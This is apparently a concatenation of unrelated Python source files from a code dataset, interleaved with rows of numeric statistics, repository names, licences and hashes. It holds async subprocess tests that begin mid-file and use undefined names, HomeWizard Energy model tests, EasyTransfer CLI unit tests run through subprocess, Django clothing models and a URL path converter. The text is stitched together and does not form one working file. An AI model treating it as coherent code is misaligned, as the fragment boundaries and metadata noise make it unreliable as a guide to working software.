def test_async_execute_process_no_emulation_shell_false_combined(self):
stdout, stderr, retcode = loop.run_until_complete(run(
[python, test_script]))
stdout, stderr = stdout.decode(), stderr.decode()
self.assertIn('out 1', stdout)
self.assertIn('err 1', stdout)
self.assertIn('out 2', stdout)
self.assertEqual('', stderr)
self.assertEqual(0, retcode)
def test_async_execute_process_no_emulation_shell_true_combined(self):
stdout, stderr, retcode = loop.run_until_complete(run(
[python, test_script_quoted], shell=True))
stdout, stderr = stdout.decode(), stderr.decode()
self.assertIn('out 1', stdout)
self.assertIn('err 1', stdout)
self.assertIn('out 2', stdout)
self.assertEqual('', stderr)
self.assertEqual(0, retcode)
def test_async_execute_process_no_emulation_shell_false(self):
stdout, stderr, retcode = loop.run_until_complete(run(
[python, test_script], stderr_to_stdout=False))
stdout, stderr = stdout.decode(), stderr.decode()
self.assertIn('out 1', stdout)
self.assertIn('err 1', stderr)
self.assertIn('out 2', stdout)
self.assertEqual(0, retcode)
def test_async_execute_process_no_emulation_shell_true(self):
stdout, stderr, retcode = loop.run_until_complete(run(
[python, test_script_quoted], stderr_to_stdout=False, shell=True))
stdout, stderr = stdout.decode(), stderr.decode()
self.assertIn('out 1', stdout)
self.assertIn('err 1', stderr)
self.assertIn('out 2', stdout)
self.assertEqual(0, retcode)
def test_async_execute_process_with_emulation_shell_false_combined(self):
stdout, stderr, retcode = loop.run_until_complete(run(
[python, test_script], emulate_tty=True))
stdout, stderr = stdout.decode(), stderr.decode()
self.assertIn('out 1', stdout)
self.assertIn('err 1', stdout)
self.assertIn('out 2', stdout)
self.assertEqual('', stderr)
self.assertEqual(0, retcode)
def test_async_execute_process_with_emulation_shell_true_combined(self):
stdout, stderr, retcode = loop.run_until_complete(run(
[python, test_script_quoted], emulate_tty=True, shell=True))
stdout, stderr = stdout.decode(), stderr.decode()
self.assertIn('out 1', stdout)
self.assertIn('err 1', stdout)
self.assertIn('out 2', stdout)
self.assertEqual('', stderr)
self.assertEqual(0, retcode)
def test_async_execute_process_with_emulation_shell_false(self):
stdout, stderr, retcode = loop.run_until_complete(run(
[python, test_script], emulate_tty=True, stderr_to_stdout=False))
stdout, stderr = stdout.decode(), stderr.decode()
self.assertIn('out 1', stdout)
self.assertIn('err 1', stderr)
self.assertIn('out 2', stdout)
self.assertEqual(0, retcode)
def test_async_execute_process_with_emulation_shell_true(self):
stdout, stderr, retcode = loop.run_until_complete(run(
[python, test_script_quoted], emulate_tty=True, stderr_to_stdout=False,
shell=True))
stdout, stderr = stdout.decode(), stderr.decode()
self.assertIn('out 1', stdout)
self.assertIn('err 1', stderr)
self.assertIn('out 2', stdout)
self.assertEqual(0, retcode)
| 39.394231
| 83
| 0.671711
| 512
| 4,097
| 5.138672
| 0.142578
| 0.109464
| 0.09122
| 0.086659
| 0.848347
| 0.830103
| 0.830103
| 0.830103
| 0.830103
| 0.81946
| 0
| 0.009953
| 0.215279
| 4,097
| 103
| 84
| 39.776699
| 0.808398
| 0.017574
| 0
| 0.590909
| 0
| 0
| 0.043003
| 0.006214
| 0
| 0
| 0
| 0
| 0.409091
| 1
| 0.102273
| false
| 0
| 0.068182
| 0
| 0.181818
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
fb48a690731635dd667d4720b65853c4513a38c6
| 6,380
|
py
|
Python
|
tests/test_models.py
|
DCSBL/python-homewizard-energy
|
e3b08f8f5327e41f1cc2a0389b527ae9e94da80e
|
[
"Apache-2.0"
] | 1
|
2022-02-28T14:06:08.000Z
|
2022-02-28T14:06:08.000Z
|
tests/test_models.py
|
DCSBL/python-homewizard-energy
|
e3b08f8f5327e41f1cc2a0389b527ae9e94da80e
|
[
"Apache-2.0"
] | 32
|
2022-02-11T04:38:57.000Z
|
2022-03-30T04:43:11.000Z
|
tests/test_models.py
|
DCSBL/python-homewizard-energy
|
e3b08f8f5327e41f1cc2a0389b527ae9e94da80e
|
[
"Apache-2.0"
] | 1
|
2022-03-14T08:44:08.000Z
|
2022-03-14T08:44:08.000Z
|
"""Test for HomeWizard Energy Models."""
import json
from datetime import datetime
from homewizard_energy import Data, Device, State
from . import load_fixtures
def test_device_with_expected_parameters():
"""TODO."""
device: Device = Device.from_dict(json.loads(load_fixtures("device.json")))
assert device
assert device.product_type == "HWE-P1"
assert device.product_name == "P1 Meter"
assert device.serial == "3c39e7aabbcc"
assert device.firmware_version == "2.11"
assert device.api_version == "v1"
def test_device_with_new_api_version():
"""TODO."""
device: Device = Device.from_dict(
json.loads(load_fixtures("device_invalid_api.json"))
)
assert device
assert device.product_type == "HWE-P1"
assert device.product_name == "P1 Meter"
assert device.serial == "3c39e7aabbcc"
assert device.firmware_version == "2.11"
assert device.api_version == "v2"
def test_device_with_unknown_datafields():
"""TODO."""
device: Device = Device.from_dict(
json.loads(load_fixtures("device_extra_parameters.json"))
)
assert device
assert device.product_type == "HWE-P1"
assert device.product_name == "P1 Meter"
assert device.serial == "3c39e7aabbcc"
assert device.firmware_version == "2.11"
assert device.api_version == "v1"
def test_data_p1():
"""TODO."""
data: Data = Data.from_dict(json.loads(load_fixtures("data_p1.json")))
assert data
assert data.smr_version == 50
assert data.meter_model == "ISKRA 2M550T-101"
assert data.wifi_ssid == "My Wi-Fi"
assert data.wifi_strength == 100
assert data.total_power_import_t1_kwh == 10830.511
assert data.total_power_import_t2_kwh == 2948.827
assert data.total_power_export_t1_kwh == 1285.951
assert data.total_power_export_t2_kwh == 2876.51
assert data.active_power_w == -543
assert data.active_power_l1_w == -676
assert data.active_power_l2_w == 133
assert data.active_power_l3_w == 0
assert data.total_gas_m3 == 2569.646
assert data.gas_timestamp == datetime(2021, 6, 6, 14, 0, 10)
def test_data_p1_no_gas():
"""TODO."""
data: Data = Data.from_dict(json.loads(load_fixtures("data_p1_no_gas.json")))
assert data
assert data.smr_version == 50
assert data.meter_model == "ISKRA 2M550T-101"
assert data.wifi_ssid == "My Wi-Fi"
assert data.wifi_strength == 100
assert data.total_power_import_t1_kwh == 10830.511
assert data.total_power_import_t2_kwh == 2948.827
assert data.total_power_export_t1_kwh == 1285.951
assert data.total_power_export_t2_kwh == 2876.51
assert data.active_power_w == -543
assert data.active_power_l1_w == -676
assert data.active_power_l2_w == 133
assert data.active_power_l3_w == 0
assert data.total_gas_m3 is None
assert data.gas_timestamp is None
def test_data_p1_single_phase():
"""TODO."""
data: Data = Data.from_dict(json.loads(load_fixtures("data_p1_single_phase.json")))
assert data
assert data.smr_version == 50
assert data.meter_model == "ISKRA 2M550T-101"
assert data.wifi_ssid == "My Wi-Fi"
assert data.wifi_strength == 100
assert data.total_power_import_t1_kwh == 10830.511
assert data.total_power_import_t2_kwh == 2948.827
assert data.total_power_export_t1_kwh == 1285.951
assert data.total_power_export_t2_kwh == 2876.51
assert data.active_power_w == -543
assert data.active_power_l1_w == -676
assert data.active_power_l2_w is None
assert data.active_power_l3_w is None
assert data.total_gas_m3 == 2569.646
assert data.gas_timestamp == datetime(2021, 6, 6, 14, 0, 10)
def test_data_kwh_single_phase():
"""TODO."""
data: Data = Data.from_dict(json.loads(load_fixtures("data_kwh_single_phase.json")))
assert data
assert data.smr_version is None
assert data.meter_model is None
assert data.wifi_ssid == "My Wi-Fi"
assert data.wifi_strength == 100
assert data.total_power_import_t1_kwh == 10830.511
assert data.total_power_import_t2_kwh is None
assert data.total_power_export_t1_kwh == 2948.827
assert data.total_power_export_t2_kwh is None
assert data.active_power_w == 640
assert data.active_power_l1_w == 640
assert data.active_power_l2_w is None
assert data.active_power_l3_w is None
assert data.total_gas_m3 is None
assert data.gas_timestamp is None
def test_data_kwh_three_phase():
"""TODO."""
data: Data = Data.from_dict(json.loads(load_fixtures("data_kwh_three_phase.json")))
assert data
assert data.smr_version is None
assert data.meter_model is None
assert data.wifi_ssid == "My Wi-Fi"
assert data.wifi_strength == 100
assert data.total_power_import_t1_kwh == 10830.511
assert data.total_power_import_t2_kwh is None
assert data.total_power_export_t1_kwh == 2948.827
assert data.total_power_export_t2_kwh is None
assert data.active_power_w == -543
assert data.active_power_l1_w == -676
assert data.active_power_l2_w == 133
assert data.active_power_l3_w == 0
assert data.total_gas_m3 is None
assert data.gas_timestamp is None
def test_data_energysocket():
"""TODO."""
data: Data = Data.from_dict(json.loads(load_fixtures("data_energysocket.json")))
assert data
assert data.smr_version is None
assert data.meter_model is None
assert data.wifi_ssid == "My Wi-Fi"
assert data.wifi_strength == 100
assert data.total_power_import_t1_kwh == 10830.511
assert data.total_power_import_t2_kwh is None
assert data.total_power_export_t1_kwh == 2948.827
assert data.total_power_export_t2_kwh is None
assert data.active_power_w == 123
assert data.active_power_l1_w == 123
assert data.active_power_l2_w is None
assert data.active_power_l3_w is None
assert data.total_gas_m3 is None
assert data.gas_timestamp is None
def test_state():
"""TODO."""
state: State = State.from_dict(json.loads(load_fixtures("state.json")))
assert state
assert not state.power_on
assert not state.switch_lock
assert state.brightness == 255
state: State = State.from_dict(
json.loads(load_fixtures("state_switch_lock_and_brightness.json"))
)
assert state
assert state.power_on
assert state.switch_lock
assert state.brightness == 10
| 33.229167
| 88
| 0.719122
| 974
| 6,380
| 4.402464
| 0.105749
| 0.209888
| 0.104944
| 0.11194
| 0.900187
| 0.900187
| 0.869403
| 0.869403
| 0.869403
| 0.865438
| 0
| 0.066718
| 0.184796
| 6,380
| 191
| 89
| 33.403141
| 0.757739
| 0.014734
| 0
| 0.727891
| 0
| 0
| 0.069502
| 0.029856
| 0
| 0
| 0
| 0.005236
| 0.789116
| 1
| 0.068027
| true
| 0
| 0.108844
| 0
| 0.176871
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
fb4ea23fa43960722df2937ff916cfb49072bc73
| 22,414
|
py
|
Python
|
unit_tests/appzoo_tests/test_ez_text_match.py
|
johnson7788/EasyTransfer
|
7e59935ab663fbdb9be56e7e081e59a2154b5489
|
[
"Apache-2.0"
] | 806
|
2020-09-02T03:05:24.000Z
|
2022-03-26T03:45:23.000Z
|
unit_tests/appzoo_tests/test_ez_text_match.py
|
johnson7788/EasyTransfer
|
7e59935ab663fbdb9be56e7e081e59a2154b5489
|
[
"Apache-2.0"
] | 48
|
2020-09-16T12:53:32.000Z
|
2022-03-09T09:34:44.000Z
|
unit_tests/appzoo_tests/test_ez_text_match.py
|
johnson7788/EasyTransfer
|
7e59935ab663fbdb9be56e7e081e59a2154b5489
|
[
"Apache-2.0"
] | 151
|
2020-09-16T12:31:06.000Z
|
2022-03-24T08:51:47.000Z
|
# coding=utf-8
# Copyright (c) 2019 Alibaba PAI team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import os
import subprocess
import shutil
import unittest
class TestEzTextMatch(unittest.TestCase):
def test_1_train_bert(self):
argvs = ['easy_transfer_app',
'--mode', 'train',
'--inputTable', '../ut_data/ez_text_match/train.csv,../ut_data/ez_text_match/dev.csv',
'--inputSchema', "example_id:int:1,query1:str:1,query2:str:1,is_same_question:str:1,category:str:1,score:float:1",
'--firstSequence', 'query1',
'--secondSequence', 'query2',
'--labelName', 'is_same_question',
'--labelEnumerateValues', '0,1',
'--checkpointDir', 'ez_text_match_models',
'--numEpochs', '1',
'--batchSize', '5',
'--saveCheckpointSteps', '10000',
'--optimizerType', 'adam',
'--learningRate', '2e-5',
'--modelName', 'text_match_bert',
'--distributionStrategy', 'MirroredStrategy',
'--workerCount', '1',
'--workerGPU', '1',
'--workerCPU', '1',
'--advancedParameters', """'
pretrain_model_name_or_path=google-bert-base-zh # For BERT
save_steps=300
log_step_count_steps=100
throttle_secs=100
keep_checkpoint_max=10
lr_decay=polynomial
warmup_ratio=0.1
weight_decay_ratio=0
gradient_clip=true
num_accumulated_batches=1
eval_batch_size=256
'
"""
]
print(' '.join(argvs))
try:
res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True)
print(res)
except subprocess.CalledProcessError as e:
print(e.output)
raise RuntimeError
def test_2_predict_mode(self):
argvs = ['easy_transfer_app',
'--mode', 'predict',
'--inputTable', '../ut_data/ez_text_match/test.csv',
'--outputTable', 'ez_text_match.pred.csv',
'--inputSchema', 'example_id:int:1,query1:str:1,query2:str:1,category:str:1,score:float:1',
'--firstSequence', 'query1',
'--secondSequence', 'query2',
'--appendCols', 'example_id,category,score,query1',
'--outputSchema', 'predictions,probabilities,logits',
'--checkpointPath', 'ez_text_match_models',
'--batchSize', '100',
'--workerCount', '1',
'--workerGPU', '1',
'--workerCPU', '1',
]
print(' '.join(argvs))
try:
res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True)
print(res)
except subprocess.CalledProcessError as e:
print(e.output)
raise RuntimeError
self.assertTrue(os.path.exists('ez_text_match.pred.csv'))
os.remove('ez_text_match.pred.csv')
def test_3_evaluate_mode(self):
argvs = ['easy_transfer_app',
'--mode', 'evaluate',
'--inputTable', '../ut_data/ez_text_match/dev.csv',
'--checkpointPath', 'ez_text_match_models/model.ckpt-0',
'--batchSize', '100'
]
print(' '.join(argvs))
try:
res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True)
print(res)
except subprocess.CalledProcessError as e:
print(e.output)
raise RuntimeError
def test_4_export_predict_mode(self):
argvs = ['easy_transfer_app',
'--mode', 'export',
'--checkpointPath', 'ez_text_match_models/model.ckpt-0',
'--exportType', 'app_model',
'--exportDirBase', 'ez_text_match_models/saved_app_model',
]
print(' '.join(argvs))
try:
res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True)
print(res)
except subprocess.CalledProcessError as e:
print(e.output)
raise RuntimeError
argvs = ['easy_transfer_app',
'--mode', 'predict',
'--inputTable', '../ut_data/ez_text_match/test.csv',
'--outputTable', 'ez_text_match.pred.csv',
'--inputSchema', 'example_id:int:1,query1:str:1,query2:str:1,category:str:1,score:float:1',
'--firstSequence', 'query1',
'--secondSequence', 'query2',
'--appendCols', 'example_id,category,score,query1',
'--outputSchema', 'predictions,probabilities,logits',
'--checkpointPath', 'ez_text_match_models/saved_app_model',
'--batchSize', '100',
'--workerCount', '1',
'--workerGPU', '1',
'--workerCPU', '1',
]
print(' '.join(argvs))
try:
res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True)
print(res)
except subprocess.CalledProcessError as e:
print(e.output)
raise RuntimeError
self.assertTrue(os.path.exists('ez_text_match.pred.csv'))
os.remove('ez_text_match.pred.csv')
def test_5_ez_bert_feat(self):
argvs = ['easy_transfer_app',
'--mode', 'export',
'--checkpointPath', 'ez_text_match_models/model.ckpt-0',
'--exportType', 'ez_bert_feat',
'--exportDirBase', 'ez_text_match_models/saved_model',
]
print(' '.join(argvs))
try:
res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True)
print(res)
except subprocess.CalledProcessError as e:
print(e.output)
raise RuntimeError
argvs = ['ez_bert_feat',
'--inputTable', '../ut_data/ez_bert_feat/one.seq.txt',
'--outputTable', 'ez_text_match.feats.txt',
'--inputSchema', 'example_id:int:1,query1:str:1,label:str:1,category:str:1,score:float:1',
'--firstSequence', 'query1',
'--appendCols', 'example_id,label,category,score,xxx',
'--outputSchema', 'pool_output,first_token_output,all_hidden_outputs',
'--modelName', 'ez_text_match_models/model.ckpt-0',
'--sequenceLength', '50',
'--batchSize', '1']
print(' '.join(argvs))
try:
res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True)
print(res)
except subprocess.CalledProcessError as e:
print(e.output)
raise RuntimeError
self.assertTrue(os.path.exists('ez_text_match.feats.txt'))
os.remove('ez_text_match.feats.txt')
shutil.rmtree('ez_text_match_models', ignore_errors=True)
def test_6_test_bert_two_tower(self):
argvs = ['easy_transfer_app',
'--mode', 'train',
'--inputTable', '../ut_data/ez_text_match/train.csv,../ut_data/ez_text_match/dev.csv',
'--inputSchema', "example_id:int:1,query1:str:1,query2:str:1,is_same_question:str:1,category:str:1,score:float:1",
'--firstSequence', 'query1',
'--secondSequence', 'query2',
'--labelName', 'is_same_question',
'--labelEnumerateValues', '0,1',
'--checkpointDir', 'ez_text_match_two_tower_models',
'--numEpochs', '1',
'--batchSize', '5',
'--saveCheckpointSteps', '10000',
'--optimizerType', 'adam',
'--learningRate', '2e-5',
'--modelName', 'text_match_bert_two_tower',
'--distributionStrategy', 'MirroredStrategy',
'--workerCount', '1',
'--workerGPU', '1',
'--workerCPU', '1',
'--advancedParameters', """'
pretrain_model_name_or_path=google-bert-base-zh # For BERT
'
"""
]
print(' '.join(argvs))
try:
res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True)
print(res)
except subprocess.CalledProcessError as e:
print(e.output)
raise RuntimeError
argvs = ['easy_transfer_app',
'--mode', 'predict',
'--inputTable', '../ut_data/ez_text_match/test.csv',
'--outputTable', 'ez_text_match.pred.csv',
'--inputSchema', 'example_id:int:1,query1:str:1,query2:str:1,category:str:1,score:float:1',
'--firstSequence', 'query1',
'--secondSequence', 'query2',
'--appendCols', 'example_id,category,score,query1',
'--outputSchema', 'predictions,probabilities,logits',
'--checkpointPath', 'ez_text_match_two_tower_models/model.ckpt-0',
'--batchSize', '100',
'--workerCount', '1',
'--workerGPU', '1',
'--workerCPU', '1',
]
print(' '.join(argvs))
try:
res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True)
print(res)
except subprocess.CalledProcessError as e:
print(e.output)
raise RuntimeError
self.assertTrue(os.path.exists('ez_text_match.pred.csv'))
shutil.rmtree('ez_text_match_two_tower_models', ignore_errors=True)
os.remove('ez_text_match.pred.csv')
argvs = ['easy_transfer_app',
'--mode', 'train',
'--inputTable', '../ut_data/ez_text_match/train.csv,../ut_data/ez_text_match/dev.csv',
'--inputSchema',
"example_id:int:1,query1:str:1,query2:str:1,is_same_question:str:1,category:str:1,score:float:1",
'--firstSequence', 'query1',
'--secondSequence', 'query2',
'--labelName', 'is_same_question',
'--labelEnumerateValues', '0,1',
'--checkpointDir', 'ez_text_match_two_tower_models',
'--numEpochs', '1',
'--batchSize', '5',
'--saveCheckpointSteps', '10000',
'--optimizerType', 'adam',
'--learningRate', '2e-5',
'--modelName', 'text_match_bert_two_tower',
'--distributionStrategy', 'MirroredStrategy',
'--workerCount', '1',
'--workerGPU', '1',
'--workerCPU', '1',
'--advancedParameters', """'
pretrain_model_name_or_path=google-bert-base-zh # For BERT
projection_dim=128
'
"""
]
print(' '.join(argvs))
try:
res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True)
print(res)
except subprocess.CalledProcessError as e:
print(e.output)
raise RuntimeError
argvs = ['easy_transfer_app',
'--mode', 'predict',
'--inputTable', '../ut_data/ez_text_match/test.csv',
'--outputTable', 'ez_text_match.pred.csv',
'--inputSchema', 'example_id:int:1,query1:str:1,query2:str:1,category:str:1,score:float:1',
'--firstSequence', 'query1',
'--secondSequence', 'query2',
'--appendCols', 'example_id,category,score,query1',
'--outputSchema', 'predictions,probabilities,logits',
'--checkpointPath', 'ez_text_match_two_tower_models/model.ckpt-0',
'--batchSize', '100',
'--workerCount', '1',
'--workerGPU', '1',
'--workerCPU', '1',
]
print(' '.join(argvs))
try:
res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True)
print(res)
except subprocess.CalledProcessError as e:
print(e.output)
raise RuntimeError
self.assertTrue(os.path.exists('ez_text_match.pred.csv'))
os.remove('ez_text_match.pred.csv')
argvs = ['easy_transfer_app',
'--mode', 'export',
'--checkpointPath', 'ez_text_match_two_tower_models/model.ckpt-0',
'--exportType', 'ez_bert_feat',
'--exportDirBase', 'ez_text_match_two_tower_models/saved_model',
]
print(' '.join(argvs))
try:
res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True)
print(res)
except subprocess.CalledProcessError as e:
print(e.output)
raise RuntimeError
argvs = ['ez_bert_feat',
'--inputTable', '../ut_data/ez_bert_feat/one.seq.txt',
'--outputTable', 'ez_text_match.feats.txt',
'--inputSchema', 'example_id:int:1,query1:str:1,label:str:1,category:str:1,score:float:1',
'--firstSequence', 'query1',
'--appendCols', 'example_id,label,category,score,xxx',
'--outputSchema', 'pool_output,first_token_output,all_hidden_outputs',
'--modelName', 'ez_text_match_two_tower_models/saved_model',
'--sequenceLength', '50',
'--batchSize', '1']
print(' '.join(argvs))
try:
res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True)
print(res)
except subprocess.CalledProcessError as e:
print(e.output)
raise RuntimeError
self.assertTrue(os.path.exists('ez_text_match.feats.txt'))
os.remove('ez_text_match.feats.txt')
shutil.rmtree('ez_text_match_two_tower_models', ignore_errors=True)
def test_7_train_dam(self):
argvs = ['easy_transfer_app',
'--mode', 'train',
'--inputTable', '../ut_data/ez_text_match/train_tokenized.csv,../ut_data/ez_text_match/dev_tokenized.csv',
'--inputSchema', "query1:str:1,query2:str:1,query1_words:str:1,query2_words:str:1,"
"query1_chars:str:1,query2_chars:str:1,label:str:1",
'--firstSequence', 'query1_words',
'--secondSequence', 'query2_words',
'--labelName', 'label',
'--labelEnumerateValues', '0,1',
'--checkpointDir', 'ez_text_match_dam_models',
'--numEpochs', '1',
'--batchSize', '5',
'--saveCheckpointSteps', '10000',
'--optimizerType', 'adam',
'--learningRate', '1e-3',
'--modelName', 'text_match_dam',
'--distributionStrategy', 'none',
'--workerCount', '1',
'--workerGPU', '1',
'--workerCPU', '1',
'--advancedParameters', """'
first_sequence_length=16
second_sequence_length=16
fix_embedding=false
max_vocab_size=100
embedding_size=20
hidden_size=10
lr_decay=polynomial
warmup_ratio=0.1
weight_decay_ratio=0
gradient_clip=true
clip_norm_value=1.0
throttle_secs=10
'
"""
]
print(' '.join(argvs))
try:
res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True)
print(res)
except subprocess.CalledProcessError as e:
print(e.output)
raise RuntimeError
argvs = ['easy_transfer_app',
'--mode', 'predict',
'--inputTable', '../ut_data/ez_text_match/test.csv',
'--outputTable', 'ez_text_match.pred.csv',
'--inputSchema', 'example_id:int:1,query1:str:1,query2:str:1,category:str:1,score:float:1',
'--firstSequence', 'query1',
'--secondSequence', 'query2',
'--appendCols', 'example_id,category,score,query1',
'--outputSchema', 'predictions,probabilities,logits',
'--checkpointPath', 'ez_text_match_dam_models/',
'--batchSize', '100',
'--workerCount', '1',
'--workerGPU', '1',
'--workerCPU', '1',
]
print(' '.join(argvs))
try:
res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True)
print(res)
except subprocess.CalledProcessError as e:
print(e.output)
raise RuntimeError
self.assertTrue(os.path.exists('ez_text_match.pred.csv'))
os.remove('ez_text_match.pred.csv')
def test_8_export_predict_dam(self):
argvs = ['easy_transfer_app',
'--mode', 'export',
'--checkpointPath', 'ez_text_match_dam_models/model.ckpt-0',
'--exportType', 'app_model',
'--exportDirBase', 'ez_text_match_dam_models/saved_app_model',
]
print(' '.join(argvs))
try:
res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True)
print(res)
except subprocess.CalledProcessError as e:
print(e.output)
raise RuntimeError
argvs = ['easy_transfer_app',
'--mode', 'predict',
'--inputTable', '../ut_data/ez_text_match/test.csv',
'--outputTable', 'ez_text_match.pred.csv',
'--inputSchema', 'example_id:int:1,query1:str:1,query2:str:1,category:str:1,score:float:1',
'--firstSequence', 'query1',
'--secondSequence', 'query2',
'--appendCols', 'example_id,category,score,query1',
'--outputSchema', 'predictions,probabilities,logits',
'--checkpointPath', 'ez_text_match_dam_models/saved_app_model',
'--batchSize', '100',
'--workerCount', '1',
'--workerGPU', '1',
'--workerCPU', '1',
]
print(' '.join(argvs))
try:
res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True)
print(res)
except subprocess.CalledProcessError as e:
print(e.output)
raise RuntimeError
self.assertTrue(os.path.exists('ez_text_match.pred.csv'))
shutil.rmtree('ez_text_match_dam_models', ignore_errors=True)
os.remove('ez_text_match.pred.csv')
def test_9_regression_bert(self):
argvs = ['easy_transfer_app',
'--mode', 'train',
'--inputTable', '../ut_data/ez_text_match/train.csv,../ut_data/ez_text_match/dev.csv',
'--inputSchema', "example_id:int:1,query1:str:1,query2:str:1,is_same_question:str:1,category:str:1,score:float:1",
'--firstSequence', 'query1',
'--secondSequence', 'query2',
'--labelName', 'score',
'--checkpointDir', 'ez_text_match_models',
'--numEpochs', '1',
'--batchSize', '5',
'--saveCheckpointSteps', '10000',
'--optimizerType', 'adam',
'--learningRate', '2e-5',
'--modelName', 'text_match_bert',
'--distributionStrategy', 'MirroredStrategy',
'--workerCount', '1',
'--workerGPU', '1',
'--workerCPU', '1',
'--advancedParameters', """'
pretrain_model_name_or_path=google-bert-base-zh # For BERT
save_steps=300
log_step_count_steps=100
throttle_secs=100
keep_checkpoint_max=10
lr_decay=polynomial
warmup_ratio=0.1
weight_decay_ratio=0
gradient_clip=true
num_accumulated_batches=1
eval_batch_size=256
'
"""
]
print(' '.join(argvs))
try:
res = subprocess.check_output(' '.join(argvs), stderr=subprocess.STDOUT, shell=True)
print(res)
except subprocess.CalledProcessError as e:
print(e.output)
raise RuntimeError
shutil.rmtree('ez_text_match_models', ignore_errors=True)
if __name__ == '__main__':
unittest.main()
| 45.742857
| 131
| 0.511109
| 2,097
| 22,414
| 5.244635
| 0.116357
| 0.059738
| 0.068012
| 0.027823
| 0.908347
| 0.906619
| 0.901255
| 0.883433
| 0.874159
| 0.86743
| 0
| 0.022371
| 0.351834
| 22,414
| 490
| 132
| 45.742857
| 0.73465
| 0.025475
| 0
| 0.837719
| 0
| 0.028509
| 0.442943
| 0.19639
| 0
| 0
| 0
| 0
| 0.017544
| 1
| 0.019737
| false
| 0
| 0.008772
| 0
| 0.030702
| 0.118421
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
fbae3bab8353f7bf2ef5ddf0261c1d78e04a692b
| 887
|
py
|
Python
|
src/traditional/models.py
|
Bakhtiyar-Habib/CSE327-Project
|
4126b40eb398e4cf13b49136e552775c5f3b0635
|
[
"bzip2-1.0.6"
] | null | null | null |
src/traditional/models.py
|
Bakhtiyar-Habib/CSE327-Project
|
4126b40eb398e4cf13b49136e552775c5f3b0635
|
[
"bzip2-1.0.6"
] | null | null | null |
src/traditional/models.py
|
Bakhtiyar-Habib/CSE327-Project
|
4126b40eb398e4cf13b49136e552775c5f3b0635
|
[
"bzip2-1.0.6"
] | null | null | null |
from django.db import models
# Create your models here.
class TraditionalMen(models.Model):
title = models.CharField(max_length=120)
description = models.TextField(blank=True, null=True)
photo = models.ImageField(default = "default.jpg", blank=True)
brand = models.CharField(max_length=120, blank = True)
shop = models.CharField(max_length=120, blank = True)
price = models.IntegerField(blank=True, default=0)
url = models.CharField(max_length=120, blank = True)
class TraditionalWomen(models.Model):
title = models.CharField(max_length=120)
description = models.TextField(blank=True, null=True)
photo = models.ImageField(default = "default.jpg", blank=True)
brand = models.CharField(max_length=120, blank = True)
shop = models.CharField(max_length=120, blank = True)
price = models.IntegerField(blank=True, default=0)
url = models.CharField(max_length=120, blank = True)
| 44.35
| 63
| 0.764374
| 121
| 887
| 5.53719
| 0.264463
| 0.161194
| 0.214925
| 0.286567
| 0.874627
| 0.874627
| 0.874627
| 0.874627
| 0.874627
| 0.874627
| 0
| 0.032953
| 0.110485
| 887
| 20
| 64
| 44.35
| 0.816223
| 0.027058
| 0
| 0.823529
| 0
| 0
| 0.025522
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.058824
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 10
|
fbbd2170bf583fe09f4c11a273557b8e0655aa6e
| 158
|
py
|
Python
|
wiki/converters.py
|
PudgyPoppins/AP-Crowd-2020
|
14f4239a12b0b1101052d93d54286440cceb6e8f
|
[
"MIT"
] | null | null | null |
wiki/converters.py
|
PudgyPoppins/AP-Crowd-2020
|
14f4239a12b0b1101052d93d54286440cceb6e8f
|
[
"MIT"
] | 12
|
2020-04-30T16:31:50.000Z
|
2021-09-22T18:57:11.000Z
|
wiki/converters.py
|
PudgyPoppins/AP-Crowd-2020
|
14f4239a12b0b1101052d93d54286440cceb6e8f
|
[
"MIT"
] | null | null | null |
class PathConverter:
regex = '[-/\w]+/'
def to_python(self, value):
return str(value)
def to_url(self, value):
return str(value)
